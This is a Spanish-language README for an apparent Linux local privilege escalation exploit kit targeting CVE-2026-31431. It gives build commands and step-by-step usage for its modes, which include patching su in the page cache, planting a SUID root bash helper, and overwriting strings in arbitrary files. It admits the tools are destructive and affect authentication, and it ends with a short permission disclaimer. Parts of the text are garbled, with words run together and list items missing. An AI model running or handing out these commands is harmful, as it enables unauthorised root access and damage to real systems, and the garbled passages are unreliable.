
Linux exploits locales de escalada de privilegios para CVE-2026-31431, incluyendo flujos de trabajo sin procesar y recuperables.
Estas implementaciones de LPE para Linux son destructivas en tiempo de ejecución.
Sobrescriben la vista de page-cache en vivo de objetivos privilegiados como:
supatchEsto normalmente no es una edición persistente en disco, pero sí cambia el comportamiento en tiempo de ejecución y puede afectar el flujo de autenticación/privilegios de inmediato.
Este repositorio no proporciona un modo root completamente no destructivo.
copyfail_raw_su_root.ccopyfail_portable_lpe.cAmbos son solo para Linux.
Los binarios precompilados para arquitecturas adicionales pueden añadirse en futuras actualizaciones.
gcc -O2 -s copyfail_portable_lpe.c -o copyfail_portable_lpe
gcc -O2 -s copyfail_raw_su_root.c -o copyfail_raw_su_root
Para copyfail_portable_lpe.c, al ejecutar:
./copyfail_portable_lpe
se usa auto-revert por defecto.
Eso significa que intentará primero el flujo de trabajo recuperable:
Si el modo recuperable falla, el programa imprime sugerencias de modos alternativos.
Variante cruda mínima:
susu objetivo./copyfail_raw_su_root
Variante general con múltiples modos.
Modo explícito sin reversión:
./copyfail_portable_lpe auto
Modo recuperable primero:
./copyfail_portable_lpe
./copyfail_portable_lpe auto-revert
Coloca un helper SUID bash sin revertir:
./copyfail_portable_lpe helper ./.rootsh
Coloca un helper y luego intenta restaurar los objetivos parcheados:
./copyfail_portable_lpe helper-revert ./.rootsh
Reemplazo de cadena de igual longitud en un archivo elegido:
./copyfail_portable_lpe patch <archivo> <buscar> <reemplazar>
Ruta de parcheo su crudo:
./copyfail_portable_lpe raw-su-elf
auto-revert y helper-revert siguen siendo destructivos durante la explotación.
Solo son "recuperables" en el sentido de que:
Así que esto es destructivo-luego-revertir, no realmente no destructivo.
auto / auto-revert / helper / helper-revert / patch: orientados a Linux, menos acoplados a la arquitectura de CPU cuando se compilan en el objetivoraw-su-elf: solo x86_64 LinuxEste repositorio se proporciona para:
No utilice estos materiales contra sistemas, cuentas o redes sin permiso explícito del propietario.
El autor y los colaboradores proporcionan este contenido tal cual, sin garantía, y no aceptan responsabilidad por uso indebido, daños, pérdida de datos, interrupción del servicio o consecuencias legales derivadas del uso del código o las técnicas de este repositorio.